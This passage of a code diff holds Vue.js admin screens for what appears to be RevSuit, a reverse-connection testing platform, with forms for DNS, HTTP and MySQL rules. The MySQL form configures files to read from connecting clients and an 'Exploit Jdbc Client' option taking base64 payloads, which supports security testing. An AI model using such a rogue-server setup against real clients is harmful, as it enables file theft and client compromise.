name: 'DnsRules',
|
||||||
|
data() {
|
||||||
|
return {
|
||||||
|
data: [],
|
||||||
|
formVisible: false,
|
||||||
|
pagination: {current: 1},
|
||||||
|
filters: {},
|
||||||
|
loading: false,
|
||||||
|
columns,
|
||||||
|
colors,
|
||||||
|
resolveTypes,
|
||||||
|
form: {},
|
||||||
|
rules: rules,
|
||||||
|
formReadOnly: false,
|
||||||
|
formAction: "", // View ,Create or Edit
|
||||||
|
}
|
||||||
|
},
|
||||||
|
methods: {
|
||||||
|
handleTableChange(pagination, filters, sorter) {
|
||||||
|
const pager = {...this.pagination};
|
||||||
|
pager.current = pagination.current;
|
||||||
|
this.pagination = pager;
|
||||||
|
this.order = sorter.order === "ascend" ? "asc" : "desc"
|
||||||
|
this.fetch();
|
||||||
|
},
|
||||||
|
fetch: function () {
|
||||||
|
this.loading = true;
|
||||||
|
let params = {
|
||||||
|
...this.filters,
|
||||||
|
page: this.pagination.current,
|
||||||
|
order: this.order
|
||||||
|
}
|
||||||
|
getDnsRule(params).then(res => {
|
||||||
|
let result = res.data.result
|
||||||
|
this.data = result.data
|
||||||
|
const pagination = {...this.pagination};
|
||||||
|
// Read total count from server
|
||||||
|
// pagination.total = data.totalCount;
|
||||||
|
pagination.total = result.count;
|
||||||
|
this.pagination = pagination;
|
||||||
|
this.loading = false
|
||||||
|
}).catch(e => {
|
||||||
|
if (e.response.status === 403) {
|
||||||
|
store.authed = false
|
||||||
|
return []
|
||||||
|
} else {
|
||||||
|
this.$notification.error({
|
||||||
|
message: 'Unknown error: ' + e.response.status,
|
||||||
|
style: {
|
||||||
|
width: '100px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 4
|
||||||
|
});
|
||||||
|
}
|
||||||
|
})
|
||||||
|
},
|
||||||
|
clickSwitch(record, prop) {
|
||||||
|
record[prop] = !record[prop]
|
||||||
|
upsertDnsRule(record).then().catch(e => {
|
||||||
|
this.$notification.error({
|
||||||
|
message: 'Edit failed',
|
||||||
|
description:
|
||||||
|
e.response.data.error,
|
||||||
|
style: {
|
||||||
|
width: '600px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 4
|
||||||
|
});
|
||||||
|
})
|
||||||
|
},
|
||||||
|
addRule() {
|
||||||
|
this.form = {}
|
||||||
|
this.showForm(CREATE)
|
||||||
|
},
|
||||||
|
viewRule(record) {
|
||||||
|
this.form = record
|
||||||
|
this.showForm(VIEW)
|
||||||
|
},
|
||||||
|
editRule(record) {
|
||||||
|
this.form = JSON.parse(JSON.stringify(record))
|
||||||
|
this.showForm(EDIT)
|
||||||
|
},
|
||||||
|
deleteRule(record, index) {
|
||||||
|
deleteDnsRule(record).then(() => {
|
||||||
|
this.data.splice(index, 1)
|
||||||
|
}).catch(e => {
|
||||||
|
this.$notification.error({
|
||||||
|
message: 'Error',
|
||||||
|
description:
|
||||||
|
e.response.data.error,
|
||||||
|
style: {
|
||||||
|
width: '600px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 4
|
||||||
|
});
|
||||||
|
})
|
||||||
|
},
|
||||||
|
showForm(action) {
|
||||||
|
this.formAction = action
|
||||||
|
this.formReadOnly = action === VIEW;
|
||||||
|
this.formVisible = true;
|
||||||
|
},
|
||||||
|
closeDrawer() {
|
||||||
|
this.formVisible = false;
|
||||||
|
},
|
||||||
|
handleSubmit() {
|
||||||
|
this.$refs.form.validate(valid => {
|
||||||
|
if (valid) {
|
||||||
|
upsertDnsRule(this.form).then(() => {
|
||||||
|
this.closeDrawer()
|
||||||
|
this.fetch({page: this.pagination.current});
|
||||||
|
this.$notification.info({
|
||||||
|
message: 'Success',
|
||||||
|
style: {
|
||||||
|
width: '600px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 2.5
|
||||||
|
});
|
||||||
|
}).catch(e => {
|
||||||
|
this.$notification.error({
|
||||||
|
message: this.formAction + ' failed',
|
||||||
|
description:
|
||||||
|
e.response.data.error,
|
||||||
|
style: {
|
||||||
|
width: '600px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 4
|
||||||
|
});
|
||||||
|
})
|
||||||
|
}
|
||||||
|
})
|
||||||
|
},
|
||||||
|
handleCancel() {
|
||||||
|
this.form = {}
|
||||||
|
this.closeDrawer()
|
||||||
|
}
|
||||||
|
},
|
||||||
|
mounted() {
|
||||||
|
this.fetch({page: "1"});
|
||||||
|
},
|
||||||
|
components: {
|
||||||
|
BasicRule,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
@@ -0,0 +1,502 @@
|
|||||||
|
<template xmlns:a-col="http://www.w3.org/1999/html">
|
||||||
|
<div>
|
||||||
|
<a-button id="add-rule" type="primary" @click="addRule">
|
||||||
|
<a-icon type="plus"/>
|
||||||
|
New Rule
|
||||||
|
</a-button>
|
||||||
|
<!-- rule form-->
|
||||||
|
<a-drawer
|
||||||
|
:title="formAction+ ' HTTP rule'"
|
||||||
|
:width="460"
|
||||||
|
:visible="formVisible"
|
||||||
|
:body-style="{ paddingBottom: '80px' }"
|
||||||
|
@close="closeDrawer"
|
||||||
|
>
|
||||||
|
<a-form-model :model="form" ref="form" layout="vertical" @submit="handleSubmit">
|
||||||
|
<BasicRule :form="form" :readOnly="formReadOnly"/>
|
||||||
|
<a-row :gutter="24">
|
||||||
|
<a-col :span="24">
|
||||||
|
<a-form-model-item :rules="rules.response_status_code"
|
||||||
|
prop="response_status_code">
|
||||||
|
<span slot="label">
|
||||||
|
Response Status Code
|
||||||
|
<a-tooltip
|
||||||
|
title="Number between 100-600, or template such as ${query.var_name}/${body.var_name}/${header.var_name}">
|
||||||
|
<a-icon type="question-circle-o"/>
|
||||||
|
</a-tooltip>
|
||||||
|
</span>
|
||||||
|
<a-input v-model="form.response_status_code"
|
||||||
|
style="width: 100%"
|
||||||
|
placeholder="200"
|
||||||
|
:disabled="formReadOnly"
|
||||||
|
/>
|
||||||
|
</a-form-model-item>
|
||||||
|
</a-col>
|
||||||
|
</a-row>
|
||||||
|
<a-row :gutter="24">
|
||||||
|
<a-col :span="24">
|
||||||
|
<a-form-model-item>
|
||||||
|
<span slot="label">
|
||||||
|
Response Headers
|
||||||
|
<a-tooltip
|
||||||
|
title="Support template such as ${query.var_name}/${body.var_name}/${header.var_name}">
|
||||||
|
<a-icon type="question-circle-o"/>
|
||||||
|
</a-tooltip>
|
||||||
|
</span>
|
||||||
|
<a-input-group compact v-for="headerKey in headerKeys" :key="headerKey">
|
||||||
|
<a-auto-complete v-model="form['Header-'+headerKey]"
|
||||||
|
style="width: 47%;margin-bottom: 5px"
|
||||||
|
v-decorator="['Header-'+headerKey,]"
|
||||||
|
:dataSource="headerSet"
|
||||||
|
:filterOption="filterOption"
|
||||||
|
:defaultOpen="false"
|
||||||
|
placeholder="Header"
|
||||||
|
:disabled="formReadOnly"
|
||||||
|
></a-auto-complete>
|
||||||
|
|
||||||
|
<a-input v-model="form['Value-'+headerKey]"
|
||||||
|
@focus="()=>{ !formReadOnly&&(headerKey === headerKeys[headerKeys.length-1]) && form['Header-'+headerKey] ? addHeader(): null}"
|
||||||
|
style="width: 53%"
|
||||||
|
v-decorator="['Value-'+headerKey,]"
|
||||||
|
placeholder="Value"
|
||||||
|
:disabled="formReadOnly"
|
||||||
|
>
|
||||||
|
<a-icon slot="addonAfter"
|
||||||
|
class="dynamic-delete-button"
|
||||||
|
type="minus-circle-o"
|
||||||
|
@click="() => !formReadOnly? removeHeader(headerKey):null"
|
||||||
|
/>
|
||||||
|
</a-input>
|
||||||
|
</a-input-group>
|
||||||
|
</a-form-model-item>
|
||||||
|
</a-col>
|
||||||
|
</a-row>
|
||||||
|
<a-row :gutter="24">
|
||||||
|
<a-col :span="24">
|
||||||
|
<a-form-model-item>
|
||||||
|
<span slot="label">
|
||||||
|
Response Body
|
||||||
|
<a-tooltip
|
||||||
|
title="Support template such as ${query.var_name}/${body.var_name}/${header.var_name}">
|
||||||
|
<a-icon type="question-circle-o"/>
|
||||||
|
</a-tooltip>
|
||||||
|
</span>
|
||||||
|
<a-textarea v-model="form.response_body"
|
||||||
|
placeholder="Hello RevSuit!"
|
||||||
|
:readOnly="formReadOnly"
|
||||||
|
/>
|
||||||
|
</a-form-model-item>
|
||||||
|
</a-col>
|
||||||
|
</a-row>
|
||||||
|
</a-form-model>
|
||||||
|
<div
|
||||||
|
:style="{
|
||||||
|
position: 'absolute',
|
||||||
|
right: 0,
|
||||||
|
bottom: 0,
|
||||||
|
width: '100%',
|
||||||
|
borderTop: '1px solid #e9e9e9',
|
||||||
|
padding: '10px 16px',
|
||||||
|
background: '#fff',
|
||||||
|
textAlign: 'right',
|
||||||
|
zIndex: 1,
|
||||||
|
}"
|
||||||
|
>
|
||||||
|
<a-button :style="{ marginRight: '8px' }" @click="handleCancel">
|
||||||
|
Cancel
|
||||||
|
</a-button>
|
||||||
|
<a-button type="primary" :disabled="formReadOnly" @click="handleSubmit">
|
||||||
|
Submit
|
||||||
|
</a-button>
|
||||||
|
</div>
|
||||||
|
</a-drawer>
|
||||||
|
<!-- rule table -->
|
||||||
|
<a-table
|
||||||
|
:columns="columns"
|
||||||
|
:data-source="data"
|
||||||
|
:loading="loading"
|
||||||
|
:pagination="pagination"
|
||||||
|
@change="handleTableChange"
|
||||||
|
>
|
||||||
|
<div
|
||||||
|
slot="filterDropdown"
|
||||||
|
slot-scope="{ setSelectedKeys, selectedKeys, clearFilters, column }"
|
||||||
|
style="padding: 8px"
|
||||||
|
>
|
||||||
|
<a-input
|
||||||
|
:placeholder="`Search ${column.dataIndex}`"
|
||||||
|
:value="selectedKeys[0]"
|
||||||
|
style="width: 188px; margin-bottom: 8px; display: block;"
|
||||||
|
@change="e => setSelectedKeys(e.target.value ? [e.target.value] : [])"
|
||||||
|
@pressEnter="() => {filters[column.dataIndex] = selectedKeys[0];fetch()}"
|
||||||
|
/>
|
||||||
|
<a-button
|
||||||
|
type="primary"
|
||||||
|
icon="search"
|
||||||
|
size="small"
|
||||||
|
style="width: 90px; margin-right: 8px"
|
||||||
|
@click="() => {filters[column.dataIndex] = selectedKeys[0];fetch()}"
|
||||||
|
>
|
||||||
|
Search
|
||||||
|
</a-button>
|
||||||
|
</div>
|
||||||
|
<a-icon
|
||||||
|
slot="filterIcon"
|
||||||
|
slot-scope="filtered"
|
||||||
|
type="search"
|
||||||
|
:style="{ color: filtered ? '#108ee9' : undefined }"
|
||||||
|
/>
|
||||||
|
|
||||||
|
<span slot="rank" slot-scope="rank">
|
||||||
|
<a-tag
|
||||||
|
:color="'#'+(0x2db7f5+rank*80).toString(16)"
|
||||||
|
>
|
||||||
|
{{ rank }}
|
||||||
|
</a-tag>
|
||||||
|
</span>
|
||||||
|
|
||||||
|
<span slot="switchRender" slot-scope="checked,record,index,dataIndex">
|
||||||
|
<a-switch :checked="checked" @click="clickSwitch(record,dataIndex.dataIndex)"></a-switch>
|
||||||
|
</span>
|
||||||
|
<span slot="action" slot-scope="text,record,index">
|
||||||
|
<a-button @click="viewRule(record)" style="
|
||||||
|
color: #67C23A;
|
||||||
|
background-color: transparent;
|
||||||
|
border-color: #67C23A;
|
||||||
|
text-shadow: none;
|
||||||
|
margin-right: 10px;
|
||||||
|
" size="small" ghost>View</a-button>
|
||||||
|
<a-button @click="editRule(record,index)" style="
|
||||||
|
color: #909399;
|
||||||
|
background-color: transparent;
|
||||||
|
border-color: #909399;
|
||||||
|
text-shadow: none;
|
||||||
|
margin-right: 10px;
|
||||||
|
" size="small" ghost>Edit</a-button>
|
||||||
|
<a-popconfirm
|
||||||
|
title="Are you sure delete this task?"
|
||||||
|
ok-text="Yes"
|
||||||
|
cancel-text="No"
|
||||||
|
@confirm="deleteRule(record,index)"
|
||||||
|
>
|
||||||
|
<a-button type="danger" size="small" ghost>Delete</a-button>
|
||||||
|
</a-popconfirm>
|
||||||
|
</span>
|
||||||
|
</a-table>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
<style scoped>
|
||||||
|
#add-rule {
|
||||||
|
margin-bottom: 10px;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
import {getHttpRule, upsertHttpRule, deleteHttpRule} from '@/api/rule'
|
||||||
|
import {store} from '@/main'
|
||||||
|
import BasicRule from "@/components/BasicRule";
|
||||||
|
|
||||||
|
const VIEW = "View"
|
||||||
|
const EDIT = "Edit"
|
||||||
|
const CREATE = "Create"
|
||||||
|
|
||||||
|
const columns = [
|
||||||
|
{
|
||||||
|
title: 'ID',
|
||||||
|
dataIndex: 'id',
|
||||||
|
key: 'id',
|
||||||
|
sorter: true,
|
||||||
|
sortDirections: ['descend', 'ascend'],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'NAME',
|
||||||
|
dataIndex: 'name',
|
||||||
|
key: 'name',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'FLAG FORMAT',
|
||||||
|
dataIndex: 'flag_format',
|
||||||
|
key: 'flag_format',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'RANK',
|
||||||
|
dataIndex: 'rank',
|
||||||
|
key: 'rank',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: "rank"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'PUSH TO CLIENT',
|
||||||
|
dataIndex: 'push_to_client',
|
||||||
|
key: 'push_to_client',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: 'switchRender',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'NOTICE',
|
||||||
|
dataIndex: 'notice',
|
||||||
|
key: 'notice',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: 'switchRender',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'Action',
|
||||||
|
key: 'action',
|
||||||
|
scopedSlots: {customRender: 'action'},
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
const rules = {
|
||||||
|
response_status_code: [{
|
||||||
|
validator: (rule, code, callback) => {
|
||||||
|
console.log(code)
|
||||||
|
if (code === undefined || (!isNaN(code) && 100 < code && code < 600)) {
|
||||||
|
return callback()
|
||||||
|
} else if (/\${(query|body|header)\..+?}/.test(code)) {
|
||||||
|
return callback()
|
||||||
|
} else {
|
||||||
|
return callback(new Error("please input legal response status code value"))
|
||||||
|
}
|
||||||
|
}, trigger: 'blur'
|
||||||
|
}]
|
||||||
|
}
|
||||||
|
|
||||||
|
export default {
|
||||||
|
name: 'HttpRules',
|
||||||
|
data() {
|
||||||
|
return {
|
||||||
|
data: [],
|
||||||
|
formVisible: false,
|
||||||
|
pagination: {current: 1},
|
||||||
|
filters: {},
|
||||||
|
loading: false,
|
||||||
|
columns,
|
||||||
|
form: {},
|
||||||
|
rules: rules,
|
||||||
|
formReadOnly: false,
|
||||||
|
formAction: "", // View ,Create or Edit
|
||||||
|
headerKeys: [1],
|
||||||
|
headerSet: ["Accept-Patch",
|
||||||
|
"Accept-Ranges",
|
||||||
|
"Age",
|
||||||
|
"Allow",
|
||||||
|
"Cache-Control",
|
||||||
|
"Connection",
|
||||||
|
"Content-Disposition",
|
||||||
|
"Content-Encoding",
|
||||||
|
"Content-Language",
|
||||||
|
"Content-Length",
|
||||||
|
"Content-Location",
|
||||||
|
"Content-Range",
|
||||||
|
"Content-Type",
|
||||||
|
"Date",
|
||||||
|
"Delta-Base",
|
||||||
|
"ETag",
|
||||||
|
"Expires",
|
||||||
|
"Last-Modified",
|
||||||
|
"Link",
|
||||||
|
"Location",
|
||||||
|
"Pragma",
|
||||||
|
"Proxy-Authenticate",
|
||||||
|
"Public-Key-Pins",
|
||||||
|
"Retry-After",
|
||||||
|
"Server",
|
||||||
|
"Set-Cookie",
|
||||||
|
"Strict-Transport-Security",
|
||||||
|
"Transfer-Encoding",
|
||||||
|
"Upgrade",
|
||||||
|
"Vary",
|
||||||
|
"Via",
|
||||||
|
"Warning",
|
||||||
|
"WWW-Authenticate",
|
||||||
|
"Content-Security-Policy",
|
||||||
|
"Refresh",
|
||||||
|
"X-Powered-By",
|
||||||
|
"X-Request-ID",
|
||||||
|
"X-UA-Compatible",
|
||||||
|
"X-XSS-Protection",
|
||||||
|
"Access-Control-Allow-Origin",
|
||||||
|
"Access-Control-Allow-Credentials",
|
||||||
|
"Access-Control-Expose-Headers",
|
||||||
|
"Access-Control-Max-Age",
|
||||||
|
"Access-Control-Allow-Methods",
|
||||||
|
"Access-Control-Allow-Headers"],
|
||||||
|
};
|
||||||
|
},
|
||||||
|
methods: {
|
||||||
|
handleTableChange(pagination, filters, sorter) {
|
||||||
|
const pager = {...this.pagination};
|
||||||
|
pager.current = pagination.current;
|
||||||
|
this.pagination = pager;
|
||||||
|
this.order = sorter.order === "ascend" ? "asc" : "desc"
|
||||||
|
this.fetch();
|
||||||
|
},
|
||||||
|
fetch: function () {
|
||||||
|
this.loading = true;
|
||||||
|
let params = {
|
||||||
|
...this.filters,
|
||||||
|
page: this.pagination.current,
|
||||||
|
order: this.order
|
||||||
|
}
|
||||||
|
getHttpRule(params).then(res => {
|
||||||
|
let result = res.data.result
|
||||||
|
this.data = result.data
|
||||||
|
const pagination = {...this.pagination};
|
||||||
|
// Read total count from server
|
||||||
|
// pagination.total = data.totalCount;
|
||||||
|
pagination.total = result.count;
|
||||||
|
this.pagination = pagination;
|
||||||
|
this.loading = false
|
||||||
|
}).catch(e => {
|
||||||
|
if (e.response.status === 403) {
|
||||||
|
store.authed = false
|
||||||
|
return []
|
||||||
|
} else {
|
||||||
|
this.$notification.error({
|
||||||
|
message: 'Unknown error: ' + e.response.status,
|
||||||
|
style: {
|
||||||
|
width: '100px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 4
|
||||||
|
});
|
||||||
|
}
|
||||||
|
})
|
||||||
|
},
|
||||||
|
clickSwitch(record, prop) {
|
||||||
|
record[prop] = !record[prop]
|
||||||
|
upsertHttpRule(record).catch(e => {
|
||||||
|
this.$notification.error({
|
||||||
|
message: 'Edit failed',
|
||||||
|
description:
|
||||||
|
e.response.data.error,
|
||||||
|
style: {
|
||||||
|
width: '600px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 4
|
||||||
|
});
|
||||||
|
})
|
||||||
|
},
|
||||||
|
addRule() {
|
||||||
|
this.form = {}
|
||||||
|
this.showForm(CREATE)
|
||||||
|
},
|
||||||
|
viewRule(record) {
|
||||||
|
this.form = record
|
||||||
|
this.showForm(VIEW)
|
||||||
|
},
|
||||||
|
editRule(record) {
|
||||||
|
this.form = JSON.parse(JSON.stringify(record))
|
||||||
|
this.showForm(EDIT)
|
||||||
|
},
|
||||||
|
deleteRule(record, index) {
|
||||||
|
deleteHttpRule(record).then(() => {
|
||||||
|
this.data.splice(index, 1)
|
||||||
|
}).catch(e => {
|
||||||
|
this.$notification.error({
|
||||||
|
message: 'Error',
|
||||||
|
description:
|
||||||
|
e.response.data.error,
|
||||||
|
style: {
|
||||||
|
width: '600px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 4
|
||||||
|
});
|
||||||
|
})
|
||||||
|
},
|
||||||
|
showForm(action) {
|
||||||
|
this.formAction = action
|
||||||
|
this.formReadOnly = action === VIEW;
|
||||||
|
this.formVisible = true;
|
||||||
|
for (let k in this.form.response_headers) {
|
||||||
|
this.form["Header-" + this.headerKeys.length] = k
|
||||||
|
this.form["Value-" + this.headerKeys.length] = this.form.response_headers[k]
|
||||||
|
this.addHeader()
|
||||||
|
}
|
||||||
|
if (this.formReadOnly) {
|
||||||
|
this.removeHeader(this.headerKeys.length)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
closeDrawer() {
|
||||||
|
this.formVisible = false;
|
||||||
|
this.headerKeys = [1]
|
||||||
|
},
|
||||||
|
addHeader() {
|
||||||
|
this.headerKeys.push(this.headerKeys[this.headerKeys.length - 1] + 1)
|
||||||
|
},
|
||||||
|
removeHeader(key) {
|
||||||
|
if (this.headerKeys.length > 1) {
|
||||||
|
this.headerKeys.splice(this.headerKeys.indexOf(key), 1)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
filterOption(input, option) {
|
||||||
|
return (
|
||||||
|
option.componentOptions.children[0].text.toUpperCase().indexOf(input.toUpperCase()) >= 0
|
||||||
|
);
|
||||||
|
},
|
||||||
|
handleSubmit() {
|
||||||
|
this.$refs.form.validate(valid => {
|
||||||
|
if (valid) {
|
||||||
|
let form = {}
|
||||||
|
let headers = {}
|
||||||
|
for (let k in this.form) {
|
||||||
|
if (k.indexOf("Header-") === 0) {
|
||||||
|
let i = k.substr("Header-".length)
|
||||||
|
if (this.form["Value-" + i]) {
|
||||||
|
headers[this.form[k]] = this.form["Value-" + i]
|
||||||
|
}
|
||||||
|
} else if (k.indexOf("Value-") === -1) {
|
||||||
|
form[k] = this.form[k]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
form.response_headers = headers
|
||||||
|
upsertHttpRule(form).then(() => {
|
||||||
|
this.closeDrawer()
|
||||||
|
this.fetch({page: this.pagination.current});
|
||||||
|
this.$notification.info({
|
||||||
|
message: 'Success',
|
||||||
|
style: {
|
||||||
|
width: '600px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 2.5
|
||||||
|
});
|
||||||
|
}).catch(e => {
|
||||||
|
this.$notification.error({
|
||||||
|
message: this.formAction + ' failed',
|
||||||
|
description:
|
||||||
|
e.response.data.error,
|
||||||
|
style: {
|
||||||
|
width: '600px',
|
||||||
|
marginLeft: `${335 - 600}px`,
|
||||||
|
},
|
||||||
|
duration: 4
|
||||||
|
});
|
||||||
|
})
|
||||||
|
} else {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
},
|
||||||
|
handleCancel() {
|
||||||
|
this.form = {}
|
||||||
|
this.closeDrawer()
|
||||||
|
}
|
||||||
|
},
|
||||||
|
mounted() {
|
||||||
|
this.fetch({page: "1"});
|
||||||
|
},
|
||||||
|
components: {
|
||||||
|
BasicRule,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
@@ -0,0 +1,433 @@
|
|||||||
|
<template xmlns:a-col="http://www.w3.org/1999/html">
|
||||||
|
<div>
|
||||||
|
<a-button id="add-rule" type="primary" @click="addRule">
|
||||||
|
<a-icon type="plus"/>
|
||||||
|
New Rule
|
||||||
|
</a-button>
|
||||||
|
<!-- rule form-->
|
||||||
|
<a-drawer
|
||||||
|
:title="formAction+ ' MySQL rule'"
|
||||||
|
:width="460"
|
||||||
|
:visible="formVisible"
|
||||||
|
:body-style="{ paddingBottom: '80px' }"
|
||||||
|
@close="closeDrawer"
|
||||||
|
>
|
||||||
|
<a-form-model :model="form" ref="form" layout="vertical" @submit="handleSubmit">
|
||||||
|
<BasicRule :form="form" :readOnly="formReadOnly"/>
|
||||||
|
<a-row :gutter="24">
|
||||||
|
<a-col :span="24">
|
||||||
|
<a-form-model-item label="Files" :rules="rules.files">
|
||||||
|
<a-input
|
||||||
|
v-model="form.files"
|
||||||
|
style="width: 100%"
|
||||||
|
placeholder="please enter file name,use ';' to split multiple file names"
|
||||||
|
:readOnly="formReadOnly"
|
||||||
|
:disabled="form.exploit_jdbc_client"
|
||||||
|
/>
|
||||||
|
</a-form-model-item>
|
||||||
|
</a-col>
|
||||||
|
</a-row>
|
||||||
|
<a-row>
|
||||||
|
<a-form-model-item>
|
||||||
|
<div class="ant-form-item-label">
|
||||||
|
<label for="exploit-jdbc-client">Exploit Jdbc Client
|
||||||
|
<a-tooltip placement="topLeft" title="Whether test to exploit jdbc client.">
|
||||||
|
<a-icon type="question-circle"/>
|
||||||
|
</a-tooltip>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
<a-switch v-model="form.exploit_jdbc_client" id="exploit-jdbc-client" :disabled="formReadOnly"/>
|
||||||
|
</a-form-model-item>
|
||||||
|
</a-row>
|
||||||
|
<a-row :gutter="24">
|
||||||
|
<a-col :span="24">
|
||||||
|
<a-form-model-item label="Payload">
|
||||||
|
<a-input-group compact v-for="payloadKey in payloadKeys" :key="payloadKey">
|
||||||
|
<a-input v-model="form['Key-'+payloadKey]"
|
||||||
|
style="width: 47%;margin-bottom: 5px"
|
||||||
|
v-decorator="['Key-'+payloadKey,]"
|
||||||
|
:defaultOpen="false"
|
||||||
|
placeholder="Key"
|
||||||
|
:disabled="!form.exploit_jdbc_client"
|
||||||
|
:readOnly="formReadOnly"
|
||||||
|
></a-input>
|
||||||
|
|
||||||
|
<a-input v-model="form['Value-'+payloadKey]"
|
||||||
|
@focus="()=>{ !formReadOnly&&(payloadKey === payloadKeys[payloadKeys.length-1]) && form['Key-'+payloadKey] ? addPayload(): null}"
|
||||||
|
style="width: 53%"
|
||||||
|
v-decorator="['Value-'+payloadKey,]"
|
||||||
|
placeholder="Base64 encoded payload Value"
|
||||||
|
:disabled="!form.exploit_jdbc_client"
|
||||||
|
:readOnly="formReadOnly"
|
||||||
|
>
|
||||||
|
<a-icon slot="addonAfter"
|
||||||
|
class="dynamic-delete-button"
|
||||||
|
type="minus-circle-o"
|
||||||
|
@click="() => form.exploit_jdbc_client? removePayload(payloadKey):null"
|
||||||
|
/>
|
||||||
|
</a-input>
|
||||||
|
</a-input-group>
|
||||||
|
</a-form-model-item>
|
||||||
|
</a-col>
|
||||||
|
</a-row>
|
||||||
|
</a-form-model>
|
||||||
|
<div
|
||||||
|
:style="{
|
||||||
|
position: 'absolute',
|
||||||
|
right: 0,
|
||||||
|
bottom: 0,
|
||||||
|
width: '100%',
|
||||||
|
borderTop: '1px solid #e9e9e9',
|
||||||
|
padding: '10px 16px',
|
||||||
|
background: '#fff',
|
||||||
|
textAlign: 'right',
|
||||||
|
zIndex: 1,
|
||||||
|
}"
|
||||||
|
>
|
||||||
|
<a-button :style="{ marginRight: '8px' }" @click="handleCancel">
|
||||||
|
Cancel
|
||||||
|
</a-button>
|
||||||
|
<a-button type="primary" :disabled="formReadOnly" @click="handleSubmit">
|
||||||
|
Submit
|
||||||
|
</a-button>
|
||||||
|
</div>
|
||||||
|
</a-drawer>
|
||||||
|
<!-- rule table -->
|
||||||
|
<a-table
|
||||||
|
:columns="columns"
|
||||||
|
:data-source="data"
|
||||||
|
:loading="loading"
|
||||||
|
:pagination="pagination"
|
||||||
|
@change="handleTableChange"
|
||||||
|
>
|
||||||
|
<div
|
||||||
|
slot="filterDropdown"
|
||||||
|
slot-scope="{ setSelectedKeys, selectedKeys, clearFilters, column }"
|
||||||
|
style="padding: 8px"
|
||||||
|
>
|
||||||
|
<a-input
|
||||||
|
:placeholder="`Search ${column.dataIndex}`"
|
||||||
|
:value="selectedKeys[0]"
|
||||||
|
style="width: 188px; margin-bottom: 8px; display: block;"
|
||||||
|
@change="e => setSelectedKeys(e.target.value ? [e.target.value] : [])"
|
||||||
|
@pressEnter="() => {filters[column.dataIndex] = selectedKeys[0];fetch()}"
|
||||||
|
/>
|
||||||
|
<a-button
|
||||||
|
type="primary"
|
||||||
|
icon="search"
|
||||||
|
size="small"
|
||||||
|
style="width: 90px; margin-right: 8px"
|
||||||
|
@click="() => {filters[column.dataIndex] = selectedKeys[0];fetch()}"
|
||||||
|
>
|
||||||
|
Search
|
||||||
|
</a-button>
|
||||||
|
</div>
|
||||||
|
<a-icon
|
||||||
|
slot="filterIcon"
|
||||||
|
slot-scope="filtered"
|
||||||
|
type="search"
|
||||||
|
:style="{ color: filtered ? '#108ee9' : undefined }"
|
||||||
|
/>
|
||||||
|
<span slot="rank" slot-scope="rank">
|
||||||
|
|
||||||
|
<a-tag
|
||||||
|
:color="'#'+(0x2db7f5+rank*80).toString(16)"
|
||||||
|
>
|
||||||
|
{{ rank }}
|
||||||
|
</a-tag>
|
||||||
|
</span>
|
||||||
|
|
||||||
|
<span slot="files" slot-scope="files">
|
||||||
|
<!-- eslint-disable-next-line-->
|
||||||
|
{{ files.length > 30 ? files.substr(0, 30) + "..." : files }}
|
||||||
|
</span>
|
||||||
|
|
||||||
|
<span slot="switchRender" slot-scope="checked,record,index,dataIndex">
|
||||||
|
<a-switch :checked="checked" @click="clickSwitch(record,dataIndex.dataIndex)"></a-switch>
|
||||||
|
</span>
|
||||||
|
<span slot="action" slot-scope="text,record,index">
|
||||||
|
<a-button @click="viewRule(record)" style="
|
||||||
|
color: #67C23A;
|
||||||
|
background-color: transparent;
|
||||||
|
border-color: #67C23A;
|
||||||
|
text-shadow: none;
|
||||||
|
margin-right: 10px;
|
||||||
|
" size="small" ghost>View</a-button>
|
||||||
|
<a-button @click="editRule(record,index)" style="
|
||||||
|
color: #909399;
|
||||||
|
background-color: transparent;
|
||||||
|
border-color: #909399;
|
||||||
|
text-shadow: none;
|
||||||
|
margin-right: 10px;
|
||||||
|
" size="small" ghost>Edit</a-button>
|
||||||
|
<a-popconfirm
|
||||||
|
title="Are you sure delete this task?"
|
||||||
|
ok-text="Yes"
|
||||||
|
cancel-text="No"
|
||||||
|
@confirm="deleteRule(record,index)"
|
||||||
|
>
|
||||||
|
<a-button type="danger" size="small" ghost>Delete</a-button>
|
||||||
|
</a-popconfirm>
|
||||||
|
</span>
|
||||||
|
</a-table>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
<style scoped>
|
||||||
|
#add-rule {
|
||||||
|
